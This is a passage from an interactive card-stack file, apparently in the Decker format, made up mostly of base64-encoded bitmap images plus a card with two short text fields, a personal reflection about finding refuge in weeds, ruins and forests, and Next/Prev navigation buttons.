Zt/c3GmWd93uv+227tvT/b///////3/////////////125sz3/29s//frPnvN2//zZO+zb/7fvf///5u7Z3Tdnrad02Zt+33/7Nt3bN232/v///////////////////////u3Pd379//2/6OSba//33zf+e/7+/////zm5u0tl2fb0ljZm2+f3fvftt////////////////////////////9//9pnf7////u8zbZ/f3/238/f///////nfT2Z63b5TG7Om370+3Z/bNu3/////////////////////////7/v/fv/u33v/9///3rf///t+T7x3ff////7e5nNZttsn/cps29mn+3vle7f/+7e/7///////////////////v///u++7f3t/7///+97/v9/vm1/5Ld/////ttru03ydu+SS0zXt+/u9u/az/v7////3////////////////////////7//f//////3yz/79/7fyd2Y/T7//9t2tqz6T5ts22VzNll9u17Zu/////e/b///////////////////v3/23///b9v/////0nmTb9uzAAvnJyfns2zbZrXOk/ntm201m+3vl23bd2+//+7f7f9///////////////////////77//3//////9sk2f9uyGyyfs37ee23tpvNc7Z2bbMxmtz7uvbd5t///tt7//+///////////////f///////t77///b////76upk+QAAoGSbb7W15u2225e13vn7Nkzm73m27btnu7/v/v372/9//////////////////v///332//7//////u6NkgCZEyk0ybNt3Xs2nNZ07dOamcnKbprd3t7bef/t//ff3///3bf9//////////f///v////fe///7/////e9MTN2iUzOiy7d22db2ud3225szszMs1t23n+zbZ9e//7d9/f/7/f9t+/////////////v9///99///79//////czMCWz+UshubbbszNt7W1szKzMzNp3d7bf9bXb39777//7/bb3+//+//////////////9///7////////////w==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[304,47],&#34;pos&#34;:[14,22],&#34;locked&#34;:1,&#34;show&#34;:&#34;transparent&#34;,&#34;border&#34;:0,&#34;scrollbar&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my first refuge was the undesigned: weeds, ruins, unkempt lawns, the forests where i learned to camp and hike and canoe.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[181,20],&#34;pos&#34;:[137,75],&#34;locked&#34;:1,&#34;show&#34;:&#34;transparent&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my mother taught me this.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;&#xA;{card:card9}&#xA;image:&#34;%%IMG0AgABVpIyTW7cszNt23+/////////////3zbdvtt3bN3bdu1m83a23tt23223P//9pmY2///////ve/3v7/+7/vff//+SzLNuy01s3e7b///////////v/vnbZtbtmbdt33btOT2u3du23bMy2f///iTZjf/////3f+93/v7v/7//////JJm3szNtm7f///////////////uu23vbNu7bbnWdts3Mqdttttts2k////7ZlNv//////93//7ff/v////7//yW3bZmcsvd/9/////////////227u7bbdrm27O27bZGZtZu7dtmzZv////+RmZX//////7/fe///d/v+97////JzW1szZ7d//////////////+/bbM7tu3bO2zdu3bbMpsWJrZ7dbNvv////zM7Nf/////39+/9/vf//e////v/anuzJnN3///////////////+62297ba2bds3bc3be7mRabO3rZ07b///1/2JkZ///////d/+39v/u7////f//7JszNu+//f/////////////Jtu2z23bt22c2bZ+22ztZktZbbWzzf///t3+TNTL///////9v/7/v///v/////+1tW3brv//////////////+Yk223N2bbm259u3s3bfbWqSTttmbPf//+t//mZOb///////v/v3//b39/77////3JczN////////////////8jILd99m7bO221ubb2202+atO7a288///9v9/8TaTf/////+/vvv3b//v9/3////1tptv///////////////9JmIs11re7bdts5rdnNu32y9k2zbNq3///5v//9GTM3//////7+//v/79/f9/+/7/+mbt3v//////////////YSMKDT3bZ223ds3rWeds2tvt3bdmc2////r/3v/smUz///////797/7/3//f//////tbbf///////////////RJYkedtvb222Zt9be57bdts2zZs2bbf///O93v/4mZNv//////3//337f/f////7//3e3/v///////////////YzJSz7ubbttu7Zza3m7c3b3Lv25tdv//+f9//v9Mks///////32+/v//7f333v///ub/f///////////////77QMm3PO+2ttu5trbtezb7bNe2TJub///6/f+9//0myb////////9+/7ff/f///9///7/////////////////7u9Ja2+fa25tbN27221vbNu912bNs7v//zvfe/9/yNJN///////79//f/e///7/9///3/////////////////7779Nv7fdtttbdtrW3ba292bbW22b3///n//f/f/+Mk03//////73+/e/f+/vf97////////////////////+3znve23ebdtbbbbudtm7uzbda0mTbP//+f3v/vfb/sbTb////////+9/9/3+////////////////////////7/X3efv2e7Zttu27M7duzc3Zt2zs2m///85/fbvf//yZMm///////+7/7//33/3/f////////////////////vm335+2363btu2zTd25tvZ3b222tm+///537/f//3/+JSS///////+/3v7vf/3v3f///////////////////++3vmz273m2bbbbXvbdzts7tuzZkxM1///lv/3/93v3/qTNv////////f///f7////7//////////////////97fu373dtu27bbW2y25nbbzbq3tmzb3///N//fvb/f//yakm///////3/729/v779//+7+///////////////3287tt3d9tu222223uzu3bPbPtSbNrP//8t/2/vf7/dv/Jmbf///////3f////7/7////////////////////fP77v7du57c27bbtts3biW829dnZszf//5v9v/f/f393/KUpv////////99/e73+//ff////////////////98+nb7N967rZ2222ttt22Gmb2zZOWzb///lvf+9/v+/vt/5ZiX///////9799///+//ff3///////////////727fdz+3b27bu2227bbds5mUNvbZszN///N/+797vb7uZv+WmZ/////////9/+99+/e//////////////////vu+97fzue23bs9ttttttszklY2SbMyf//+d7279/v/3uzP/YyT////////7f/e/99////9//////////////E++97z83u82/bb1ttt222ZJJtlrbad2///837v/39/u/7Od/xmmb/////////v//f//3v9//9///////////+djz9tvz97t9873NtvbttrZM1kmWE22U///5vb++/d3e9lM7f+WWb/////////vvv/fe//7//9///////////2zOnl7d3tzu137mdt7btv+kZTVZZKaWb///jf/9779/f9tbbP/pkLf///////7//fv/f+97/f///////////oWXMyXPd3bfbf3O27bbbtuZ+5kltkms9v///Pfb3/vv7/dprde/yms/////////37//v/v///f9/9////////8Z033MKfbd67dve7+vbbbbbm6bmiaSSzv//+be/vbe+7u9LLZbf+bJb/////////v7t/b/vf//v///////////3mzGMy+e727du720+be3du+35mPJhlNv//4z/++//77+6bfba//klN////////9/f/9/7//vv/////////////avO5vY+7vd27bn31722baztXyceSWZ///z37t7+23v96zTSb7/2aa/////////9+9///73vv////////////b/s2TMV7e223rd/nPT237dvN2bswZgr///mf/v3t//e7kmXO7f/8Zi////////////+/e////9//////////+/u/mZGXfc9u7O7Tf+/22m289u7mXymv//+N+9///22/7Nd+22///kmX////////9+/e/f+97///fe///////27e7e7Jfte9s7vbfZru29ve5za2Mcmtv//89/73ttv/+21tkmX///6YXf////////3+//fv//+/f/////////v/9/d+n2v89v7bd23vttt/c3vbsZ5s1///xv7vvf/+226TKbc////8k2//////////3/v//ve+/f3////////e2b2f2/b/b1ubb223bbvvZ29a203Ztn///ne7+/9tt//s2tpt/////SSv//////////vfv7f/+/f////////99//v+vd/tbN7e22+9ttubf3t3uzbTZP///F/779v//22s223S/////0ku/////////3/f/v/3v//+/f/////3322+3+9zf29zu395tu2272dvfctsnZ///8N3f7t+7bf/ZMlJb/////+STf/////////3/vv///v7+///////fff/7/d7/3Pb3u3n3u7dtu297c1sy2z///47/d7/97/9slc9tm//////JJf/////////37/f3b7/7///////7d99tvt73s3e9vt3fNe7dts2+327N5tj///hv9/37d/238yZprf//////0k23////////3/7///777/f7////3/33/+/3ve93b2t3121m27b257Xstj0n///G+33vf993/ZnrOrN//////9JS//////////9//t7//7///////fbffbb5ve993dtt7nz7t27bN3ntm7Ozv//+N7/ff9393t0mWc6f///////JFs/////////9+9//9+//v//f//d/99//v+97X7v297vrm7m2292ebnLdzv//4b3t99v3t/vk215l////////5JN7////////9+/7+9/+//3f////23322+57nebub57Zu+zO3bz297PO1H///xtvf33+/v7vJtmmt3///////6RJm////////9//f3//d/3//////v/ff/773ve+97n77tzfbtnnt7W8bTf///jf+9vfb7vvuTsms5/////////RLO7/////////v/f3vf/37/9/f7u399tvn9vu+53fbbtnc2mmftmtZzWv///G9t7+9/vvu6TJvtn/////////0Sc3//////////v/////v//9/////b3/23b7e877d997e22bb5tublnW///+N773t72+/f5m3skv/////////8xTd/////////3/32973//fv////3/vbf/+73d7t+z2z9u99tnt53Lc2///4b3vvf3v77dkmzJpv//////////hGZ3////////37339//v/f/////vbe/9tu73du92/tvTczmy27TmXpz///y/ve9tve3v/k7Wttv//////////pMzvf////////7///++/vf/////+/97b+9v33u5+92+3b/ObtrNObTP///C++97/+9/e2Jpm7Tf//////////8hnM//////////9+/v+//f+++/f9+33/rbe3nfv57XZve69pt+a0+nf//+X9773rb7299JtmlN////////////TM37////////+/+/fv/3/+/////2/f23/97v3O73e/ts773txbLaa///8X33vvfvbv70nZe2X////////////0RrP////////+/e/f/v3////////99v7W33vbf7/e6fb+23dzSW81///43vfe+92/+3srZ5lv////////////8zM2b////////////7/37+/3///+33+3/3fef/d2239ft7d5m2bY3///hvu997737b/YtmzGv/////////////iZ3f///////////737//7//9////fb/bv1t+293bvX2/W9msy+lv///L//733vvv3shtWbdv/////////////kzM23////////733//9///3//7/99/c/u333/7+3u3Pte7eZ22bf//8L7bfvfe++fdm1Zsj//////////////9mc2///////////3/+//e/3//3/f3297fdvvdvs/d3+3e9plt01///5f3/9/991595Fpzmb///////////////E19t////////////+/f//3/v///ff7/29++9+d973nve1THbln///yffe33b3333iZmzNP///////////////tmlvb///////////3////3/f///99vt337777d9zvve9tbfbNv///k+99/ffvfvfMztbZf////////9//////8mvbf///////////////7///////3+/tvbvvtv77+31ts6zbdv//+F/7329++9u9k2Zkzf////////////////Ltve///////////////////////fb5v+/++93bu53X9ppnW2///8v+3/f7277/7DMzOyf////////////////st2+///////////////////////9/t/b7d7Z/d873/prNm2z///4vv/d9vv/vtsLM25J/////////////////6b/7/f//////////////////////2/7fv93v5/1/+zvbbfan///x/e293++2+/0zbZjN//////////////////Nt/3///////////////////////f7b++3/e72v90/JZXZc////Dd9///b7/77JHTNmb//////////////////0//////////////////////////9v/27/M579+7387TeWyf//+X/3927/vtvvps2cyf//////////////////5v//////////////////////////+2//tv732327tre627f//8X3fd37u+/++DLm5jv///////////////////n//////////////////////////b/7t/fP/d/PbtM2yml///w3v99/3+77b7NbMrM////////////////////n///////////////////////////tvvzd+292+/Zt2W+v///l//v7933/v/sFzZ2J////////////////////8f/////////////////////////+/+/ftn3b976Zrds0////J97+79/vd+24bLTkb/////////////+///////b//////////////////////////977c2+Xvr3m7bZm1///+L//t777u93/xbM3M3/////////////+///////m///////////////////////////3vu9p+u+/eSbbPZ///4f++//7vv//dhbdyZv////8////////////////8f//////////////////////////fe25/27z5s3bacn///y/+57t3+/tt9DaTNpP////x/////////////f///f//////////////////////////993btd7Ptq2ey7f///l/dvPv337f/2La+ck/////n/////////////3///k//////////////////////////7223bZ2827M6T2///+H/f33/vvf9tsLSy0p/////N//////////////f//6fv/////////////////////////u7vd77b1Jc23n///5fvft3t/v93/wvO2mb////+X//////////////////tu/////////////////////////62t/bbttt2823///zf/4/PP3fb3thuWZsP////8X//////////////////k/7////////////////////////33/3e/7SraZt////le/in73vff/vDstNk/////4kv/////////////////87X/////////////////////////ftvc6Tbva9t////G/+m9t9/++28LJs2Tf////y4p/////////////////+m3f////////////////////////9v+/+/S1bZb///8X/+7/Odt37/5TbN7J/////k8Jn/////////////////s39////////////////////////3/b6s033ad////53/39/v/z/f3kPTMkn/////J+TL/////////////////5nb/////////////////////////bfu73TW657///xv+/fdnze993kebW5H/////JJ9M//////////////////Pfv/////////////////////////++3Mvtjb////D+97/zkOev33B6SWRv////++CW9//////////////////pe/////////////////////////+27dZ623d///+f9/B/uJ3/7vuNmu20/////8PBZ///////////////////7b7////////////////////////+/+0zt1rb///8r38Pd/v+zv/8pyWeB/////4/8Sv//////////////////+Tv/////////////////////////9szvbXtv///yfv5v573fs+7xHjscX/////wjcyb///////////////////ze/////////////////////////922s3dp////m9/3v2+N/n/7iPOm4X///7/jiV7z///////////////////2d//////////////////////////ta72bn////M//Jz3M3PF+3k+YmYv///+/L4bf3///////////////////+b//////////////////////////M03P7P///8t/9Kt//n7N7+R1nWxf////+X+yP/////////////////////rv/////////////////////////7b2enf///5v/tP7vh/+H/0jtOdjf///78tfz7/////////////////////6f//////////////////////////Nu+/f///zf/+febH/9/e5HhsqE////3xsE3n/////////////////////+b//////////////////////////e2+5////Gf3TvfsV77//wvHNuZ/////zcCT///////////////////////z//////////////////////////27c////+d//U7/b3/v7/E7N5sT/////m/hp///////////////////////2f/////////////////////////+29////5b/2mzb+b9+/2M5NjYX///9/H/+G3//////////////////////+d//////////////////////////37////zXv+P9n7299+8ZrbLRf///3/n//ZL//////z////////////////t///////////////////////////v////LfJtv/b71t//4zcrPG////94f///v//////n////////////////6f/////////////////////////8////+a+pf77zf97++wnZ02S///+/z///////////P////////////////+f//////////////////////////////6b4rX+7z3fO++x+Tl0T/////k//////////+b/////////////////3//////////////////////////////y+0mJ7nz59P9+Ex2bpn/////F//////////8b/////////////////0//////////////////////////////m2zZqv9lvbPf8s7M7iP////+N//////////43/////////////////9v/////////////////////////////N3Jhmz9N+yPfYm7ZtGf////8b//////////5m//////////////////t//////93////////////////////+d20mLd71/6//ZNrXNU/////4n//////////xkJ/////////////////5//////b/3v//////////////////670lTJk35+//3SdmWdD/////wv//////////l4M//////////////////P////7f+/v//////////////////zusmVnMz3v733GbPc5P/////x///////////L+hT/////////////////f///9v/d+/3/////////////////neysyWds/vv/uM+Zmyf/////h///////////JLrM/////////////////yf//7+793//v///////////////+v9lpm5vLd5/76Z2bGpf/////D///////////mCOY//////////////////f//bt73/u2+7///////////////vm0mMsm5l/t7yTk2/k/////+PA/////////8fCb7//////////////////3//f/33bv/977///////////////ctrZrtrOe//yfNmaF/////+eBP////////4/kSf//////////////////yf++2ff/vdv/7//////////////9ZkiTMpuzP/9C82s8t/////5+AI////////xv9WX///////////////////v77u982/d+7/+//////////////zl7aZtM2HvbMyzNyX/////w/gI////////zILkn///////////////////m7mu/z/7f77t9+/////////////7Zkm3Jt0yf8p2ttmf/////h/8AD///////j4Zu2///////////////////7b3e8vs3evv/33/////////////+Zp2zNZllvSTs0zKf/////D//jJv//////P8JX////////////////////9PXtt6+9e+e3ffvf////////////btt9ZXJMm0vZl7J/////+H//+J/////++Z3aT/////////////////////Wdu3b59+3d7d9vf////////////zpm1nZNhvS2zdsn/////8P///7N////78yHZa/////////////////////5bttt3163ff+3/fb///////////+3bZrSkn+UtTZ4z/////8v/////////782MP2/////////////////////+mtt22dzvbc2+7f//////////////We7KybZJ83zhv/////w7P/////////x/yz///////////////////////a7bt797u3d7t7+22///////////9tz7SlvpOxrHLf/////zwJ/////////z/8m///////////////////////xtttmmz7bd7vt2//7//////////+82n2W2SabO+Tf/////jwCf////////j//2f//////P////////////////M21u+7T37bdvd823v//////////rmeaVtlbs8yn//////H+EL//////9/3/////////+f////////////////Z5tttt/WTu93d2//e3/////////7s1+22m2YztP/////+P/gg/////+v+P/////////8//////+f/////////zNtttty2/u7bbd829///////////ds2e7LKZts3/////8f/9jP/////78v/////////5///////7/////////+aZtttvu622+7t33b22/////////3It20m225hP/////5f//mN//////5v/////////z///////+/////////+zbrbbac23dy7vbPfv//////////2drPU22WbLf/////3///+b//////5v/////////3//////////////////2WrNbN5221nttvu7e22////////+zJ+ltm1sz////9/n/////v/////x//////////n//////////////////8222be3ttvfu3bbzt3/7f///////m72Wssm2T////3/P///////////h//////////v///////////////////mlrbVs7ts5tvbtn3XW39///////0zadtrsyd/////+f///////////H//////////P///////////////////0umu3NzNtzt23bft/vfb3//////9n20tNN03/////8f//////////+L//////////f///////////////////9luazNt9tvbbbd9tqu29vf//////vyXbZZJ3/////x///////////+T/////////+f////////////////////NM7Nvazba3bttzbe7bt+9//////7G2db7a/////fn///////////8H//////////f////////////////////5ZmczNtttubbbbbZ3vvb72//////c25Wib//////m///////////8//////////9///////////j/////////7LM17bW2227bbb23ubefbv7f////Tmzaeb//////H///////////47/////////5///////////7f/////////KdnJzNtttu22222691+d+3/////+ena43/////+f///////////5wH////////7///////////+f/////////yzObTdmtts22223r7bm/b/bb///85uazv/////83///////////5wSf///////z////////////z/////////+TMzd1vbbb22222u29vtem//v//52k6zP/////5////////////H+CP///////n//////////////////////+1tnSzaXNtm22227bbdvd/tu///7rfaz//////z///////////+P/iF///////P///////////////////////kzOXLp7ebW22223dtt2e1vc7b/u4023//////n///////////8P/8xP//////f///////////////////////8pM2enzltttttttbbbt873d9/vez2yX//////P///////////4P//zP/////+f////////////////////////p22ydLPObtm22227btt7tt92+dnct///////////////////w///9P/////5f////////////////////////pTMnds6s7Nfbbbbbbbdt275/79m1s3/////8////////////y//////////5/////////////////////////7bM2Urbr2ds1ttts23Z7Xbr5nm3ut//////5////////////h//////////z/////////7////////////////I21ttc3M7Oza22222bre3e73e2s7//////n////////////ngf////////z/////////7////////////////yzNmtZzZ2tPtrNttt7e7vd2/007///////O////////////HBL////////n/////////3////////////////7MktNbOnmbc2e9tttm1zs235nZ3N/////+b////////////PAI////////f/////////3////////////////+k3Ztac7O7bzZltbbe3X33bnubtf/////83///////////+P4AX/////2+X/////////v/////////////////zZNra7VtmanvXZ27ZttnPfvaybTP////53///////////8f+CR//////+3/////////f/////////////////9JszKytbOa7Sdpszbtu282bbO7O/////r////////////5//yQ//////+f/////////f/////////////////+yzTa2zpM+1n5n53bbbbz3fac22T////u////////////5///St/////8/////////+///////////////////rTNm03L+012zvJttbbdnvea5mSXf///N////////////5///2t/////8/////////+///////////////////8m22Vk3JtnJmZO6zbbbfa27mu2k///+d/////////////////9/////5/////////8////////////////////SzJtuzbMudu59rrbbbZtu2mbmSn//+////////////////////////z/////////7////////////////////tlmmptmdtt6rzOm2223u82btmRP//+3///////////////////////z//////////////////////////////6WWbLM2bNMjbNNvbbbbbb21m2SVv/8////////////////////////n///////////////////////////////M5ttZpubd+1Z3NZttttttnXZMpv/5////////////////////////n/////////3/////////////////////8zmTXO2bNJrbnNWzbbbb1mbdkmv/7////////////////////////H/////////n/////////////////////5MmbMcza2dms2bebbbbdttzszMf/////////////////////////+f/////////v//////////////////////c2a21mmzbbbZto92bbbapnbzN9/v///////////////////////+f/////////f//////////////3///////5M2mdO2bNLmZsz1W7be7Nu7u3b/7///////////////////////+f/////////f//////////////////////7Myc05ls6eWbzbZ2u22zdbr+///7///////////////////////7/////////+f///////////////////////bWxmzNmzs12TczrMzbPTbP3+//3///////////////////////y/////////8////////////////////////zMzMtZtOW3W3k3Nt3ts2bd3///3b//////////////////////z/////////9///////////////f/////////am50zp21ssuXtdbZu3m7b3///33//////////////////////j/////////5///////////////f/////////SczVrbTNk641tprbttMrbv///3nf/////////////////////L/////////z/////////////////////////+1lZszbc3Zr2lbrW7Ntu2////3P//////////////////////P/////////n/////////f///////////////+2NzpzSzZbWUvZrWzdNNb7///3vu////////////////////+P/////////v////////+/////9///////////ksjLNmzNzbd2bbbvbdfdv////vb////////////////////+f/////////n////////9/////9////////////tu2Zm22TSsmaZas2pbbf///7N3v///////////////////8//////////3////////9//////////////////MkzbOkzbnq+27a72brO////7f3////////////////////5/////////+f////////7//////////////////9tmmct2muWpmWa3NtO+3////3f3f//////////////////5/////////+/////////7/////7////////////7Js2Ztk7ZtbNtbddmdzP///6bd/f//////////////////z/////////8v////////3/////7/////////////tllttOzNm1dm2c3NbXN////7/9+//////////////////z/////////9/////////3/////7/////////////7WdmZatabLVOa67Nm9b///9Xa72//////////////////j/////////9f////////3///////////////////9M5rZrMztttc5rstOzzv///9d7uj/////////////////P/////////8/////////v///////////////7////2kqmy1rMzTZzu2zbvPf///7+3+s/////////////////v/////////5/////////v//////////////S/v///2N5ubnO1rbNnNzPLM8/////s/bZv//////////////////////////5////////////////////////Sb////9tlk0sszaztbdnM297//////97NP//////////////////////////z////////////////////////WT/////mZbW1rXpzLZnbbTbf///+3/9zYZ//////////////////////////z////////+//////////////8mCf////9ZpstbMm3bL2bLNst///9tv/7TrP/////////////////////////n////////+//////f///////9mMb////9mzS0za7ZW2n2ab2z////d+/+2Of/////////////////////////P////////9/////+f///////8k0T/////abbNzTpnmXbNazJFv//+Z77/yZf/////////////////////////P////////9/////+////////5glCf////7sy2nnN2bsttmXbE////77vvst2////////////////////////+f////////7/////9v///////zMhs/////+WTTMm1TZm7bOdbJr///vz+88y3/////////////////////////f////////z/////9////////2Yhoz/////Zdmt3Ldm27bM02CP///+337zzf+///////////////////////9/////////n/////9////////0jBLL/////202zNOpm1m2bT6SZ/////3um23////////////////////////8/////////v/////5////////5idLc3////+ZpnM2bu1m2zNskj/////vu2W3/3//////////////////////5/////////v/////7////////7ARJZ3/////1tmbbZptvtma0wT///f/++1Nn/9//////////////////////5/////////P/////7////////5JFJXv/////nZbbMnbmttmzthl3/+b//7ZM/////////////////////////z////////+f/////z////////7WE6Xa/////+ppma+ZbNnNndkm//8z///lpb3+//////////////////////z////////+//////3////////8SQKb/7/////rbWbMzztvNm1kiu/9mf//+Tb/b7/////////////////////j/////////f/////3////////8yks2u2/////9ZZs03LLbNNvNNv/9mR//8pa+7v/////////////////////n///////////////3////////5iEh2e9/////5TTmz1bfbNZs5N3/9knN//yz/ze3////////////////////P////////8///////////////zMFlN99n/////7bNOmzZbbbtz/b//JmZ//5L3nV/////////////////////P////////5///////////////iZQM223+/////6y1s2rT2zK7f7f/+5kjD/+2/+X2///////////////////+f////////5///////////////2DBpm+/53////6zTLWt3bTOzd//f7zTObH/zf9ttv//////////////////+f////////7///////////////0SaDM9s/3/////m2tctTam2fb///7nbMyWf8//tt9//////////////////8/////////z///////////////9gGrb797dv////2yzS5vu2mc2////v7mSSZ93/bb5v/////////////////8/////////3///////////////9omSTO5t9v/////NnOrq2Vm+z///+bL2Zmlnv/f7vv////////////////v4/////////z////////////////8idX877f7f///+02c6btdNs7v//+9vv6mWTO7ez+9/////////////////5/////////z////////////////bQs2337e7f////zppp5s05tzv///7be25Mpmye/37f////////////////3/////////n////////////////f1m6+db2///////tntz3Zjtvf///271/1kmmSb93/////////////////fD/////////v////////////////+2E9t53232////+zbJzbNubb9////zn22TMZIm3f//////////////////H/////////v//////////////+H7/pve3u/v//////zJtn2qZ7fv/////3v6ZMxkmdd/////////////////+H/////////P//////////////+Y/32u9va7tv/////3uzdmapn2//////3u2iyTJAt//////////////////+P/////////f//////////////8gn39b7u9t////////abNu1u+X////Z//v6WLMpBNs//////////////////P////////+f//////////////5mD//3ft729v/////+58+62U57///+3r//WkUkyBM+3///////////////////////////f//////////////7MEv/+d7Xtv///////7yzbkt3m///+2e3/2WTTJAQpt//////////////////////////////////////////5JkP/++7de2///////vvvdNs2d///+29/f+kMtsBTJs/////////////////4H///////8//////z////////5BIJ//872/9///////u627Zlt53///2229/mYjwREZp7/////////////////If//////9//////n////////5SbJf/93+7t3///////7tzLNOz/3//3tvb/0JN9AJjJk3////////////////wn//////5//////v////////zQDJf//tdrP///////7u93aZ+7b////O2/s+yZ2EpKZJzf///////////////8G//////7//////n////////zYkZJ//73+////////7+79mzrb/9////f7ezmZuICZhZm2////////////////Yf/////5//////n////////yCg2a///O7bf///////7+5mXO2/9////cv9l8y+IMZGTIy7///////////////wn/////z//////P////////yTJDZv//872////////ft7tk92////7//+bE+m7AIxMyZmzv//////////////+n/////z//////P////////2QcM2f//73+3///////e/2pmzm////u3/9+1js3EJJZmxMmb///////////////5/////z/////+f////////8gSY2Z///te3///////f7ezLfa////a9//uxN93ASUxIlYmZv////////////////////n/////+3/////////yDZN/n//93/////////v8nbM1v///3t3/+RpXviCSTZkzMm2////////////////////n/////+f/////////sIZM9v///bf////////v32Te2f///ud7f/Vjf/iKSsSViZmTP///////////////////P/////+f//////////gzbftv//7////////7v3Nubc7///6537f0ma/yCUkyZMzEkv///////////////////P/////8//////////7ZDzftv//+3///////7/3Ym7c3///7v7b/+pz/zNM1KyoyNmy//////////////////+f/////8//////////79M3bfbf///////////73LtO03////s2/2Xpn/+U0lMmKkyMlP/////////////////+f/////5///////////3Q32/bf//////////7/22Z93//////37f19b/91rMJU0szJk3/////////////////8//////5///////////f5l3b7b//////////723mZrmv/////dv9k+b//2u87NjQkmNj/////////////////+//////+////////////+t+23bf///////////+m27u//////97b0j7/+7tzIImNsyYmP/////////////////////////////////////Z3u37f/////////7d22mbs////5N/7/pt7f+7vXIzJYkklkz//////////////////////////////////t//9382+2/////////7/2Vs/1////39//zak3//+7ezJNlpM2Vm/////////////////////////////////////+29277f////////7/e1l2zP///tb7//pJL//c72jJkmTMkpM//////////////////////////////////7f//+z9t9t////////399mnPpP///727v/yVs//d9vMjLbbIsmYn/////////////////////////////////////8/9t/b////////vf22tOsn///3O77f9ZLf/f96s/JJmBksZs//////////////////////////////////////037b/f////////+/Zlv4Jf///e+39/StP/ettos2bWQFJkk///////////////v//////////////////////937b+////////3e6lnPRJ////vc/b3ybf+e7v1MzaZgDNGZL//////////////n/////////////////3////9tv23////////vd+2VPbBb///+39/s+1P+e/vdbfubiAJMps//////////////P///////////////9//f////7v23////////f/+1t3aBf////7d/8vm/+Z5d9yY2aQAXImJf/////////////P///////////////8H9/////7N/t/////////b60mvaA27////99sl07+TX937bmawABbMZL/////////////P///////////////8w///////9nv////////7/3ltO6Arb////798pf3+mdbf72O2yAC2ZJa////////////+f///////////////5BP//////7f/f///////v2+WtvaBO///v//t5Jnv/s2+9724mQACbTJSf///////////+f///////////////7MD///////Z/////////+365pPcAd2//L///7Mm//tu6yDb3ssACf8JST//////////78////////////////+YCf//////3n////////v//rnfYQzX//Nf//ySZf//a3tMbttkAAd+ySW///////////8////////////////8zCP///////f////////+37MtbbAnf//JX//+TJn/3btZRSd/YABd+JaUf//////////5////////////////8nSH///////3v///////3/utzX2Mu//+TLf//yW3//e37DGR55AAd+o2yX//////////z////////////////80UMf///////f///////3t+zNPaQa7/+zKb//2yZ/t63bKKWrzgAb/izCs//////////z//////7/////////5gNkv///////////////v/1nM+7tZ3/+mTS//+Tt/tzvbCykqfyAD/lPmIv/////////n//////y/////////TIjJL////////////////3fM277c33//MzGR//lm/p7237PGlZtAC/5emZP/////////v//////y/////////Jsiclf//////////////33dtmbafvf/3MmWZn/9n/pL337N0tWNgA/9myFZ/////////n//////m/////////YmAnbf///////////////3/TM92/u//3csSTs//P/zbdv/5GlsxoAH/aTMRP////////P//////t/////////IDZGxv//////////////2/7NNt2////23xmuJl/v/2TZ7/bMtKwdEl/bkkzX////////f//////l/////////YAwU7bf//////////////97a2d2////22vMmbNf//83b7H99k/IDRA/22ySJ////////P//////l/////////2EnRP7v/////////////397TLZ2f///9tu82WZp//9y37UO3ZbYA7sm23psyv//////////////L/////////+wDTNz7//////////////b7bcv8n///5tvbxMTLP/99rSRY+7tgAPukC2ukzL//////8f//////L//////////xJabfzf////////////7/7azbZu///7tvfvk2bY//52/yRk77GAB/xMlt5JN//////9///////P//////////vAWzP3b////////////373azPdk///+7be+7SyTj+796ySU3bsAAf/Iytn5BP/////9f/////+X//////////uyTzf7bf////////////3/S229L///+7ttt7NmbON752w6Zk96AA/+JCpu7AP/////9//////+X///////////4Sd3fu3///////////7/6nU32bv///933/3WU205e3702SMzbgAH/ZMlNrYL/////9//////+X//////////3+y33fy3///////////77u2Vttuf////3NtvSZmTXa9bucSZlOwAF/hI0Ze0Bv////5//////8v///////////vinv+/tv///////////7+1vN9v/////+/v/mts2sTt7/wmzN12AB/7JJpZ+Qb////7//////8/////////////8me2/tv//////////9/9tmf5v3///v/7O7IKZ2yzdvb3MGZkOwAP7PSKyEwL////7//////8//////////////m/9v9t//////////729ktbbv///+2//v7ppr23LV7f/80zMjwIb/YbJLZ8C////z//////5f/////////////tt1s/tn/////////7/9tpntv///+3b//NzLO2203bt8zJmZAehB/bjNcwNAz///3//////7f/////////////9t/b37f/////////793Ztve3///+23///xIZb2zW7oH7+mzAGzSf7uTZyD0n///v//////+f///////////////btt/tP////////79/Zp39L///+23b/+CTT9n/trloP36eAB/6ILezOkAcD///v//////////////////+///5be2/2/////////799mztrW///+23dv/5bMv3N7vtDI3XwAAP+ko1vk5AHpn/////////////////////+////2fbb/b////////399mbN+W///+0238/9SS7/fzbcJNm92AAD/0Sze3JAB4n//////////////////////////u79v/t/////////9/e096bv///t27b7+SXP/fb75JCSb2wAD/9JJNtsABfLP/////////////////////////82u6f/////////77+Znz7s////29t9vv62e/e/zzJNJk90AA/+Ikyd7AAfZP///////////////////+//////2777/////////73uzNPum/////5t3/Z+W3/T6f3Jo0mztAA3+JZTJ7IA39S///////////////////+7/////9t9u///////////e2Z8+fP////37/b5eU3fmn537OJZmegAH/LEk2zcAn/TP/////////////////////////+2323////////99/U7r7d//////bq/yT9//mfXn7I5lmzaAF/6YaybdAP/mX/////////////////3/v//////7b7d/////////7+dyu+v////t/+27aS+//ktt//9mTZg9BBf7Tpk0nYJ/mT/////////////////0f///////+2vt////////9v95m7a/////b3/7/4kvv/5s23+3UflkHREP+2eF2w5B/5Mv////////////////zD////////277////////9/9ms3e3////bP//ty2z//zN39D7dmeYB6SL+7wdkoPBP/Mz////////////////mE////////9t///////////7s52e3////be3//aRJf//ZttkPv854AP/AntnWmwB5H+d1////////////////sAf////////t3////////+/7Nlv+l////bfff/YzJn/7/tskw21zkAD20wN+2bMAeD//N////////////////tkj////////9v////////99